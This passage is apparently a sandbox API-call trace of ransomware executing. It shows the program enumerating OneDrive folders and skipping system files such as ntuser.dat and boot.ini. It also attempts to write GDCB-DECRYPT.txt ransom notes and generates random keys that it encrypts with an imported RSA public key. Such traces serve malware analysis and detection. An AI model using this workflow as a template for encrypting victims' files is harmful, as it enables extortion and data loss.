pszPath="C:\\Program Files (x86)") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.954] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\lb-lu\\\\GDCB-DECRYPT.txt") returned 280 [0171.954] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\lb-lu\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\lb-lu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.954] GetLastError () returned 0x3 [0171.955] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\libeay32.dll") returned 269 [0171.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\libeay32.dll") returned 269 [0171.955] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\libEGL.dll") returned 267 [0171.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\libEGL.dll") returned 267 [0171.955] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\libGLESv2.dll") returned 270 [0171.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\libGLESv2.dll") returned 270 [0171.955] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html") returned 273 [0171.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html") returned 273 [0171.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html") returned 273 [0171.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html") returned 273 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="desktop.ini") returned 1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="autorun.inf") returned 1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="ntuser.dat") returned -1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="iconcache.db") returned 1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="bootsect.bak") returned 1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="boot.ini") returned 1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="ntuser.dat.log") returned -1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="thumbs.db") returned -1 [0171.955] lstrcmpiW (lpString1="LoadingPage.html", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.955] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html")) returned 0xffffffff [0171.955] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html", dwFileAttributes=0xfffffffe) returned 0 [0171.955] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.956] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.956] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.956] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.956] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.957] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.957] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.957] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.957] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.957] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.959] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636098) returned 1 [0171.959] CryptGetKeyParam (in: hKey=0x636098, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.959] CryptEncrypt (in: hKey=0x636098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3010000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3010000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.959] GetLastError () returned 0x0 [0171.959] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.959] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.961] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635bd8) returned 1 [0171.961] CryptGetKeyParam (in: hKey=0x635bd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.961] CryptEncrypt (in: hKey=0x635bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3020000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3020000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.961] GetLastError () returned 0x0 [0171.961] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.961] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoggingPlatform.dll") returned 276 [0171.961] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoggingPlatform.dll") returned 276 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.962] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\lt\\\\GDCB-DECRYPT.txt") returned 277 [0171.962] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\lt\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\lt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.962] GetLastError () returned 0x3 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.962] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\lv\\\\GDCB-DECRYPT.txt") returned 277 [0171.962] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\lv\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\lv\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.962] GetLastError () returned 0x3 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.962] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mi-nz\\\\GDCB-DECRYPT.txt") returned 280 [0171.962] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mi-nz\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\mi-nz\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.962] GetLastError () returned 0x3 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.962] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mk\\\\GDCB-DECRYPT.txt") returned 277 [0171.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\mk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.963] GetLastError () returned 0x3 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.963] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ml-in\\\\GDCB-DECRYPT.txt") returned 280 [0171.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ml-in\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ml-in\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.963] GetLastError () returned 0x3 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.963] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mn\\\\GDCB-DECRYPT.txt") returned 277 [0171.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mn\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\mn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.963] GetLastError () returned 0x3 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.963] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mr\\\\GDCB-DECRYPT.txt") returned 277 [0171.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\mr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.963] GetLastError () returned 0x3 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.963] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ms\\\\GDCB-DECRYPT.txt") returned 277 [0171.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.964] GetLastError () returned 0x3 [0171.964] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\msvcp140.dll") returned 269 [0171.964] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\msvcp140.dll") returned 269 [0171.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.964] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mt-mt\\\\GDCB-DECRYPT.txt") returned 280 [0171.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\mt-mt\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\mt-mt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.964] GetLastError () returned 0x3 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: 